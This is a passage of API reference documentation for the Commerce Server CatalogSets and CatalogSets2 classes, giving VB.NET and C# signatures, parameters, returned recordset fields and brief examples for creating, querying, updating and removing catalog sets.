A String that contains the default catalog set ID.
[C#]
objProfileService
A ProfileService object.
user_id
A string that contains the user ID.
defaultCatalogSetID
A string that contains the default catalog set ID.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an Object that contains the CatalogSetID.

[C#] This method returns an object containing the catalog set ID.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

If the user defined in the objProfileService parameter has a catalog set associated with it, this method returns that ID; if not, it returns the catalog set associated with the user organization. If this catalog set does not exist, it returns the value supplied in the defaultCatalogSetID parameter.

[Visual Basic .NET]

Example

strCatalogSetID = myCatalogSets.GetCatalogSetIDForUser( _
  oProfileService, user_id, defaultCatalogSetID)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cs_ctlgsets (in cs_ctlgsets.dll)

See Also

CatalogSets Class

ProfileService Object


CatalogSets.GetCatalogSetInfo Method (PIA)

Use this method to return the basic properties for a catalog set.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
Imports ADODB26Lib     ‘ for _Recordset
…
PublicFunction GetCatalogSetInfo(
  CatalogSetID As String
) As _Recordset
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
using ADODB26Lib;                              //For _Recordset
…
public _Recordset GetCatalogSetInfo(
  string CatalogSetID
);

Parameters

[Visual Basic .NET]
CatalogSetID
A String that contains the catalog set ID, a GUID.
[C#]
CatalogSetID
A string that contains the catalog set ID, a GUID.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns the _Recordset interface of a Recordset object.

[C#] This method returns an ADODB26Lib._Recordset interface to a Recordset object that will contain the basic properties for a catalog set.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

This method returns a forward-only Recordset object with a single row and the following fields:

Field | Type | Description
CatalogSetID | GUID | None
CatalogSetName | String, maximum of 255 characters | None
CatalogSetDescription | String, maximum of 255 characters | None
bWildCard | Integer | A Boolean that indicates whether this catalog set automatically includes all catalogs, including any new catalogs that might be created in the future. A value of True indicates that this catalog set includes all existing catalogs. A value of False indicates that this catalog set only includes a specific set of catalogs.
[Visual Basic .NET]

Example

rsMyCatalogSetInfo = myCatalogSets.GetCatalogSetInfo(strCatalogSetID)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cs_ctlgsets (in cs_ctlgsets.dll)

See Also

CatalogSets Class


CatalogSets.GetCatalogSets Method (PIA)

Use this method to return a list of all catalog sets.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
Imports ADODB26Lib     ‘ for _Recordset
…
Public Function GetCatalogSets() As _Recordset
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
using ADODB26Lib;                              //For _Recordset
…
public _Recordset GetCatalogSets();

Return Values

[Visual Basic .NET] If this method completes successfully, it returns the _Recordset interface of a Recordset object that contains the list of all catalog sets.

[C#] This method returns an ADODB26Lib._Recordset interface to a Recordset object that will contain the list of catalog sets.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

This method returns a forward-only Recordset object with a row for each catalog set and the following fields:

Field | Type | Description
CatalogSetID | GUID | None
CatalogSetName | String, 255 characters | None
CatalogSetDescription | String, 255 characters | None
bWildCard | Integer | A Boolean that indicates whether this catalog set automatically includes all catalogs, including any new catalogs that might be created in the future. A value of True indicates that this catalog set includes all existing catalogs. A value of False indicates that this catalog set only includes a specific set of catalogs.
[Visual Basic .NET]

Example

rsMyCatalogSets = myCatalogSets.GetCatalogSets()

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cs_ctlgsets (in cs_ctlgsets.dll)

See Also

CatalogSets Class


CatalogSets.GetCatalogsForUser Method (PIA)

Use this method to return the list of catalogs that have been assigned to a particular user through the catalog set specified in their profile.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
Imports ADODB26Lib     ‘ for _Recordset
…
PublicFunction GetCatalogsForUser(
  objProfileService As Object,
  user_id As String,
  defaultCatalogSetID As String
) As _Recordset
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
using ADODB26Lib;                              //For _Recordset
…
public _Recordset GetCatalogsForUser(
  object objProfileService,
  string user_id,
  string defaultCatalogSetID
);

Parameters

[Visual Basic .NET]
objProfileService
A profile service object.
user_id
A String that contains the user ID.
defaultCatalogSetID
A String that contains the default catalog set ID.
[C#]
objProfileService
A profile service object
user_id
A string that contains the user ID.
defaultCatalogSetID
A string that contains the default catalog set ID.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns the _Recordset interface of a Recordset object that contains the list of catalogs.

[C#] This method returns an ADODB26Lib._Recordset interface to a Recordset object that will contain the list of catalogs.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

This method returns a Recordset object with a row for each catalog in the catalog set associated with the user profile in the user_id parameter and the following fields:

Field | Type | Description
CatalogName From the CatalogSet_Catalogs table. | String maximum of 255 characters | None
CatalogName From the CatalogGlobal table. | String maximum of 128 characters | None

If the user profile object passed to this method has not been initialized, the object will return the default catalog set.

[Visual Basic .NET]

Example

objProfileService = New ProfileService()
objProfileService.Initialize( _
  sProfileServiceConnectionString, "Profile Definitions")
rsCatalogSet = myCatalogSets.GetCatalogsForUser( _
  objProfileService, user_id, defaultCatalogSetID)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cs_ctlgsets (in cs_ctlgsets.dll)

See Also

CatalogSets Class


CatalogSets.GetCatalogsInCatalogSet Method (PIA)

Use this method to return the catalogs that are included in a particular catalog set.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
Imports ADODB26Lib     ‘ for _Recordset
…
PublicFunction GetCatalogsInCatalogSet(
  CatalogSetID As String
) As _Recordset
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
using ADODB26Lib;                              //For _Recordset
…
public _Recordset GetCatalogsInCatalogSet(
  string CatalogSetID
);

Parameters

[Visual Basic .NET]
CatalogSetID
A String that contains the catalog set ID.
[C#]
CatalogSetID
A string that contains the catalog set ID.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns the _Recordset interface of a Recordset object that contains the list of catalogs.

[C#] This method returns an ADODB26Lib._Recordset interface to a Recordset object that will contain the catalogs in the catalog set.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

This method returns (indirectly) a Recordset object with a row for each catalog in the catalog set and the following fields:

Field | Type | Description
CatalogName From the CatalogSet_Catalogs table. | String maximum of 255 characters | None
CatalogName From the CatalogGlobal table. | String maximum of 128 characters | None
[Visual Basic .NET]

Example

rsCatalogNames = myCatalogSets.GetCatalogsInCatalogSet(CatalogSetID)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cs_ctlgsets (in cs_ctlgsets.dll)

See Also

CatalogSets Class


CatalogSets.GetCatalogsNotInCatalogSet Method (PIA)

Use this method to return the catalogs that are not included in a specified catalog set.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
Imports ADODB26Lib     ‘ for _Recordset
…
Public Function GetCatalogsNotInCatalogSet(
  CatalogSetID As String
) As _Recordset
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
using ADODB26Lib;                              //For _Recordset
…
public_Recordset GetCatalogsNotInCatalogSet(
  string CatalogSetID
);

Parameters

[Visual Basic .NET]
CatalogSetID
A String that contains the catalog set ID.
[C#]
CatalogSetID
A string that contains the catalog set ID.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns the _Recordset interface of a Recordset object.

[C#] This method returns an ADODB26Lib._Recordset interface to the Recordset object that will contain the desired catalogs..

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The Recordset object returned by this method has a single 128 character field, named CatalogName.

[Visual Basic .NET]

Example

'strCatalogSetID is the GUID of a catalog set
rsCatalogs = myCatalogSets.GetCatalogsNotInCatalogSet(strCatalogSetID)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cs_ctlgsets (in cs_ctlgsets.dll)

See Also

CatalogSets Class


CatalogSets.Initialize Method (PIA)

Use this method to initialize a new CatalogSet object.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
PublicSub Initialize(
  CatalogConnectionString As String,
  TransactionConfigConnectionString As String
)
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public void Initialize(
  string CatalogConnectionString,
  string TxConfigConnString
);

Parameters

[Visual Basic .NET]
CatalogConnectionString
A String that contains the catalog connection string.

TransactionConfigConnectionStringA String that contains the transaction configuration connection string. Not used.

[C#]
CatalogConnectionString
A string that contains the catalog connection string.
TxConfigConnString
A string that contains the transaction configuration connection string. Not used

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

Note

  • The TransactionConfigConnectionString parameter is required, but not used. The contents of the String are ignored. This parameter is reserved for future use.
[Visual Basic .NET]

Example

myCatalogSets.Initialize(strCatalogConnection, "")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cs_ctlgsets (in cs_ctlgsets.dll)

See Also

[Visual Basic .NET] CatalogSets Class


CatalogSets.RemoveCatalogFromCatalogSets Method (PIA)

Use this method to remove a catalog from all catalog sets.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
PublicSub RemoveCatalogFromCatalogSets(
  CatalogName As String
)
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public void RemoveCatalogFromCatalogSets(
  string CatalogName
);

Parameters

[Visual Basic .NET]
CatalogName
A String that contains the catalog name to be removed.
[C#]
CatalogName
A string that contains the catalog name to be removed.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

This method should be called whenever a catalog is deleted, before or after calling the CatalogManager.DeleteCatalog or ProductCatalog.DeleteCustomCatalog methods.

[Visual Basic .NET]

Example

MyCatalogManager.DeleteCatalog("Shoes")
myCatalogSets.RemoveCatalogFromCatalogSets("Shoes")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cs_ctlgsets (in cs_ctlgsets.dll)

See Also

CatalogSets Class


CatalogSets.UpdateCatalogSet Method (PIA)

Use this method to update an existing catalog set and its basic properties.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
Imports ADODB26Lib     ‘ for _Recordset
…
PublicSub UpdateCatalogSet(
  CatalogSetID As String,
  CatalogSetName As String,
  CatalogSetDescription As String,
  bWildCard As Boolean,
  Optional CatalogNamesRS As _Recordset
)
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
using ADODB26Lib;                              //For _Recordset
…
public void UpdateCatalogSet(
  string CatalogSetID,
  string CatalogSetName,
  string CatalogSetDescription,
  bool bWildCard,
  _Recordset CatalogNamesRS
);

Parameters

[Visual Basic .NET]
CatalogSetID
A String that contains the catalog set ID (GUID).
CatalogSetName
A String that contains the catalog set name. The maximum length is 128 characters.
CatalogSetDescription
A String that contains the catalog set description.
bWildCard
A Boolean that indicates which catalogs to use. A value of True indicates use all catalogs. A value of False indicates use the catalogs contained in the CatalogNamesRS parameter.
CatalogNamesRS
The _Recordset interface of a Recordset object that contains the catalog names.
[C#]
CatalogSetID
A string that contains the catalog set ID (GUID).
CatalogSetName
A string that contains the catalog set name. The maximum length is 128 characters.
CatalogSetDescription
A string that contains the catalog set description.
bWildCard
A bool that indicates which catalogs to use. A value of true indicates use all catalogs. A value of false indicates use the catalogs contained in the CatalogNamesRS parameter.
CatalogNamesRS
An ADODB26Lib._Recordset interface to the Recordset object that contains the catalog names. If bWildCard is false, this parameter is ignored and can be set to Type.Missing.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

Example

'strCatalogSetID is the GUID for the CatalogSet.
'rsCatalogNames is a Recordset as described in the parameter description.
myCatalogSets.UpdateCatalogSet( _
  strCatalogSetID, "Clothing", "All soft goods", _
  False, rsCatalogNames)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cs_ctlgsets (in cs_ctlgsets.dll)

See Also

CatalogSets Class


CatalogSets2 Class (PIA)

Use this object to work with catalog sets in the Product Catalog System. Catalog sets allow you to present different collections of catalogs to different users and organizations.

Methods

Method | Description
CreateCatalogSet | Creates a new catalog set.
DeleteCatalogSet | Deletes the specified catalog set.
GetCatalogs | Returns a list of all catalogs.
GetCatalogSetIDForUser | Returns the catalog set ID for a user.
GetCatalogSetInfo | Returns information about the specified catalog set.
GetCatalogSets | Returns a list of all catalog sets.
GetCatalogsForUser | Returns a list of catalogs associated with the specified user.
GetCatalogsInCatalogSet | Returns a list of catalogs associated with the specified catalog set.
GetCatalogsNotInCatalogSet | Returns a list of all catalogs not associated with the specified catalog set.
Initialize | Initializes the CatalogSets object.
RemoveCatalogFromCatalogSets | Removes a catalog from all catalog sets.
UpdateCatalogSet | Allows modification of an existing catalog set.

Properties

Property | Type | Description
OrganizationObjectCatalogSetKey | String | Stores the CatalogSet key for the organization object. This property is read/write.
OrganizationObjectCategoryName | String | Stores the category name for the organization object. This property is read/write.
OrganizationObjectJoinKey | String | Stores the join key for the organization object. This property is read/write.
OrganizationObjectName | String | Stores the name of the organization object. This property is read/write.
UserObjectCategoryName | String | Stores the category name for the user object. This property is read/write.
UserObjectJoinKey | String | Stores the join key for the user object. This property is read/write.
UserObjectName | String | Stores the name of the user object. This property is read/write.
UserObjectOrganizationKey | String | Stores the organization key for the user object. This property is read/write.

Remarks

This object is similar to the CatalogSets object. It has the same methods, but adds new properties for the profile schema keys. The default values of the properties are the same as the fixed values used by the CatalogSets object.

The CatalogSets2 object properties are useful if you have changed the ProfileSchema (from the default shipped version) or if you use Active Directory. In these cases, the UserObject-OrganizationObject table join key is different than the default one.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cs_ctlgsets (in cs_ctlgsets.dll)


CatalogSets2 Methods (PIA)

Methods

Method | Description
CreateCatalogSet | Creates a new catalog set.
DeleteCatalogSet | Deletes the specified catalog set.
GetCatalogs | Returns a list of all catalogs.
GetCatalogSetIDForUser | Returns the catalog set ID for a user.
GetCatalogSetInfo | Returns information about the specified catalog set.
GetCatalogSets | Returns a list of all catalog sets.
GetCatalogsForUser | Returns a list of catalogs associated with the specified user.
GetCatalogsInCatalogSet | Returns a list of catalogs associated with the specified catalog set.
GetCatalogsNotInCatalogSet | Returns a list of all catalogs not associated with the specified catalog set.
Initialize | Initializes the CatalogSets object.
RemoveCatalogFromCatalogSets | Removes a catalog from all catalog sets.
UpdateCatalogSet | Allows modification of an existing catalog set.


CatalogSets2.CreateCatalogSet Method (PIA)

Use this method to create a new catalog set in the catalog database.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
Imports ADODB26Lib     ‘ for _Recordset
Public Function CreateCatalogSet(
  CatalogSetName As String,
  CatalogSetDescription As String,
  bWildCard As Boolean,
  Optional CatalogNamesRS As _Recordset
) As String
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
using ADODB26Lib;                              //For _Recordset
…
public string CreateCatalogSet(
  string CatalogSetName,
  string CatalogSetDescription,
  bool bWildCard,
  _Recordset CatalogNamesRS
);

Parameters

[Visual Basic .NET]
CatalogSetName
A String that contains a name for the new catalog set. The maximum length is 128 characters.
CatalogSetDescription
A String that contains a description of the new catalog set.
bWildCard
A Boolean that indicates whether this catalog set should automatically include all catalogs, including any new catalogs that might be created in the future. A value of True indicates that this catalog set includes all existing catalogs. A value of False indicates that this catalog set only includes a specific set of catalogs.
CatalogNamesRS
The _Recordset interface of a Recordset object that specifies the catalogs to be included in the new catalog set. The Recordset object should contain a single column named CatalogName, and one row per catalog to be included. If the bWildCard parameter is True, then this parameter will be ignored.
[C#]
CatalogSetName
A string that contains a name for the new catalog set. The maximum length is 128 characters.
CatalogSetDescription
A string that contains a description of the new catalog set.
bWildCard
A bool that indicates whether this catalog set should automatically include all catalogs, including any new catalogs that might be created in the future. A value of True indicates that this catalog set includes all existing catalogs. A value of False indicates that this catalog set only includes a specific set of catalogs.
CatalogNamesRS
An ActiveX Data Objects (ADO) ADODB26Lib._Recordset interface to a Recordset object that specifies the catalogs to be included in the new catalog set. The Recordset object should contain a single column named CatalogName, and one row per catalog to be included. If the bWildCard parameter is true, then this parameter will be ignored and a value of Type.Missing can be used

Return Values

[Visual Basic .NET] If this method completes successfully, it returns a String that contains the ID of the new catalog set.

[C#] This method returns a string containing the automatically generated ID (GUID) of the new catalog set.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cs_ctlgsets (in cs_ctlgsets.dll)

See Also

CatalogSets2 Class


CatalogSets2.DeleteCatalogSet Method (PIA)

Use this method to delete an existing catalog set from the catalog database.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
PublicSub DeleteCatalogSet(
  CatalogSetID As String
)
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public void DeleteCatalogSet(
  string CatalogSetID
);

Parameters

[Visual Basic .NET]
CatalogSetID
A String that contains the ID of the catalog set to be deleted.
[C#]
CatalogSetID
A string that contains the GUID of the catalog set to be deleted.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

Deleting a catalog set does not delete the catalog set ID. Referencing an invalid catalog set ID will prevent access to the solution sites.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cs_ctlgsets (in cs_ctlgsets.dll)

See Also

CatalogSets2 Class


CatalogSets2.GetCatalogs Method (PIA)

Use this method to return a list of all catalogs.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
Imports ADODB26Lib     ‘ for _Recordset
…
Public Function GetCatalogs() As _Recordset
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
using ADODB26Lib;                              //For _Recordset
…
public _Recordset GetCatalogs();

Return Values

[Visual Basic .NET] If this method completes successfully, it returns the _Recordset interface of a Recordset object that contains the list of all catalogs.

[C#] This method returns a _Recordset interface to a Recordset object that will contain catalogs.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The Recordset object returned by this method has a single 128-character field, named CatalogName.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cs_ctlgsets (in cs_ctlgsets.dll)

See Also

CatalogSets2 Class


CatalogSets2.GetCatalogSetIDForUser Method (PIA)

Use this method to return the CatalogSetID for a specific user.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Function GetCatalogSetIDForUser(
  objProfileService As Object,
  user_id As String,
  defaultCatalogSetID As String
) As Object
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public object GetCatalogSetIDForUser(
  object objProfileService,
  string user_id,
  string defaultCatalogSetID
);

Parameters

[Visual Basic .NET]
objProfileService
A ProfileService object.
user_id
A String that contains the user ID.
defaultCatalogSetID
A String that contains the default catalog set ID.
[C#]
objProfileService
A ProfileService object.
user_id
A string that contains the user ID.
defaultCatalogSetID
A string that contains the default catalog set ID.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an Object that contains the CatalogSetID.

[C#] This method returns an object containing the catalog set ID.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

If the user defined in the objProfileService parameter has a catalog set associated with it, this method returns that ID; if not, it returns the catalog set associated with the user organization. If this catalog set does not exist, it returns the value supplied in the defaultCatalogSetID parameter.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cs_ctlgsets (in cs_ctlgsets.dll)

See Also

CatalogSets2 Class


CatalogSets2.GetCatalogSetInfo Method (PIA)

Use this method to return the basic properties for a catalog set.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
Imports ADODB26Lib     ‘ for _Recordset
…
Public Function GetCatalogSetInfo(
  CatalogSetID As String
) As _Recordset
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
using ADODB26Lib;                              //For _Recordset
…
public _Recordset GetCatalogSetInfo(
  string CatalogSetID
);

Parameters

[Visual Basic .NET]
CatalogSetID
A String that contains the catalog set ID, a GUID.
[C#]
CatalogSetID
A string that contains the catalog set ID, a GUID.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns the _Recordset interface of a Recordset object.

[C#] This method returns an ADODB26Lib._Recordset interface to a Recordset object that will contain the basic properties for a catalog set.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

This method returns a forward-only Recordset object with a single row and the following fields:

Field | Type | Description
CatalogSetID | GUID | None
CatalogSetName | String, maximum of 255 characters | None
CatalogSetDescription | String, maximum of 255 characters | None
bWildCard | Integer | A Boolean that indicates whether this catalog set automatically includes all catalogs, including any new catalogs that might be created in the future. A value of True indicates that this catalog set includes all existing catalogs. A value of False indicates that this catalog set only includes a specific set of catalogs.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cs_ctlgsets (in cs_ctlgsets.dll)

See Also

CatalogSets2 Class


CatalogSets2.GetCatalogSets Method (PIA)

Use this method to return a list of all catalog sets.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
Imports ADODB26Lib     ‘ for _Recordset
…
Public Function GetCatalogSets() As _Recordset
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
using ADODB26Lib;                              //For _Recordset
…
public _Recordset GetCatalogSets();

Return Values

[Visual Basic .NET] If this method completes successfully, it returns the _Recordset interface of a Recordset object that contains the list of all catalog sets.

[C#] This method returns an ADODB26Lib._Recordset interface to a Recordset object that will contain the list of catalog sets.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

This method returns a forward-only Recordset object with a row for each catalog set and the following fields:

Field | Type | Description
CatalogSetID | GUID | None
CatalogSetName | String, 255 characters | None
CatalogSetDescription | String, 255 characters | None
bWildCard | Integer | A Boolean that indicates whether this catalog set automatically includes all catalogs, including any new catalogs that might be created in the future. A value of True indicates that this catalog set includes all existing catalogs. A value of False indicates that this catalog set only includes a specific set of catalogs.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cs_ctlgsets (in cs_ctlgsets.dll)

See Also

CatalogSets2 Class


CatalogSets2.GetCatalogsForUser Method (PIA)

Use this method to return the list of catalogs that have been assigned to a particular user through the catalog set specified in their profile.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
Imports ADODB26Lib     ‘ for _Recordset
…
Public Function GetCatalogsForUser(
  objProfileService As Object,
  user_id As String,
  defaultCatalogSetID As String
) As _Recordset
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
using ADODB26Lib;                              //For _Recordset
…
public _Recordset GetCatalogsForUser(
  object objProfileService,
  string user_id,
  string defaultCatalogSetID
);

Parameters

[Visual Basic .NET]
objProfileService
A profile service object.
user_id
A String that contains the user ID.
defaultCatalogSetID
A String that contains the default catalog set ID.
[C#]
objProfileService
A profile service object
user_id
A string that contains the user ID.
defaultCatalogSetID
A string that contains the default catalog set ID.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns the _Recordset interface of a Recordset object that contains the list of catalogs.

[C#] This method returns an ADODB26Lib._Recordset interface to a Recordset object that will contain the list of catalogs.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

This method returns a Recordset object with a row for each catalog in the catalog set associated with the user profile in the user_id parameter and the following fields:

Field | Type | Description
CatalogName From the CatalogSet_Catalogs table. | String maximum of 255 characters | None
CatalogName From the CatalogGlobal table. | String maximum of 128 characters | None

If the user profile object passed to this method has not been initialized, the object will return the default catalog set.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cs_ctlgsets (in cs_ctlgsets.dll)

See Also

CatalogSets2 Class


CatalogSets2.GetCatalogsInCatalogSet Method (PIA)

Use this method to return the catalogs that are included in a particular catalog set.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
Imports ADODB26Lib     ‘ for _Recordset
…
Public Function GetCatalogsInCatalogSet(
  CatalogSetID As String
) As _Recordset
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
using ADODB26Lib;                              //For _Recordset
…
public _Recordset GetCatalogsInCatalogSet(
  string CatalogSetID
);

Parameters

[Visual Basic .NET]
CatalogSetID
A String that contains the catalog set ID.
[C#]
CatalogSetID
A string that contains the catalog set ID.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns the _Recordset interface of a Recordset object that contains the list of catalogs.

[C#] This method returns an ADODB26Lib._Recordset interface to a Recordset object that will contain the catalogs in the catalog set.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

This method returns a Recordset object with a row for each catalog in the catalog set and the following fields:

Field | Type | Description
CatalogName From the CatalogSet_Catalogs table. | String maximum of 255 characters | None
CatalogName From the CatalogGlobal table. | String maximum of 128 characters | None

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cs_ctlgsets (in cs_ctlgsets.dll)

See Also

CatalogSets2 Class


CatalogSets2.GetCatalogsNotInCatalogSet Method (PIA)

Use this method to return the catalogs that are not included in a specified catalog set.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
Imports ADODB26Lib     ‘ for _Recordset
…
Public Function GetCatalogsNotInCatalogSet(
  CatalogSetID As String
) As _Recordset
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
using ADODB26Lib;                              //For _Recordset
…
public_Recordset GetCatalogsNotInCatalogSet(
  string CatalogSetID
);

Parameters

[Visual Basic .NET]
CatalogSetID
A String that contains the catalog set ID.
[C#]
CatalogSetID
A string that contains the catalog set ID.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns the _Recordset interface of a Recordset object.

[C#] This method returns an ADODB26Lib._Recordset interface to the Recordset object that will contain the desired catalogs.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The Recordset object returned by this method has a single 128-character field, named CatalogName.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cs_ctlgsets (in cs_ctlgsets.dll)

See Also

CatalogSets2 Class


CatalogSets2.Initialize Method (PIA)

Use this method to initialize a new CatalogSet object.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Sub Initialize(
  CatalogConnectionString As String,
  TransactionConfigConnectionString As String
)
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public void Initialize(
  string CatalogConnectionString,
  string TxConfigConnString
);

Parameters

[Visual Basic .NET]
CatalogConnectionString
A String that contains the catalog connection string.
TransactionConfigConnectionString
A String that contains the transaction configuration connection string. Not used.
[C#]
CatalogConnectionString
A string that contains the catalog connection string.
TxConfigConnString
A string that contains the transaction configuration connection string. Not used

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

Note

  • The TransactionConfigConnectionString parameter is required, but not used. The contents of the String are ignored. This parameter is reserved for future use.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cs_ctlgsets (in cs_ctlgsets.dll)

See Also

CatalogSets2 Class


CatalogSets2.RemoveCatalogFromCatalogSets Method (PIA)

Use this method to remove a catalog from all catalog sets.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Sub RemoveCatalogFromCatalogSets(
  CatalogName As String
)
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public void RemoveCatalogFromCatalogSets(
  string CatalogName
);

Parameters

[Visual Basic .NET]
CatalogName
A String that contains the catalog name to be removed.
[C#]
CatalogName
A string that contains the catalog name to be removed.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

This method should be called whenever a catalog is deleted, before or after calling the CatalogManager.DeleteCatalog or ProductCatalog.DeleteCustomCatalog methods.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cs_ctlgsets (in cs_ctlgsets.dll)

See Also

CatalogSets2 Class


CatalogSets2.UpdateCatalogSet Method (PIA)

Use this method to update an existing catalog set and its basic properties.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
Imports ADODB26Lib     ‘ for _Recordset
…
Public Sub UpdateCatalogSet(
  CatalogSetID As String,
  CatalogSetName As String,
  CatalogSetDescription As String,
  bWildCard As Boolean,
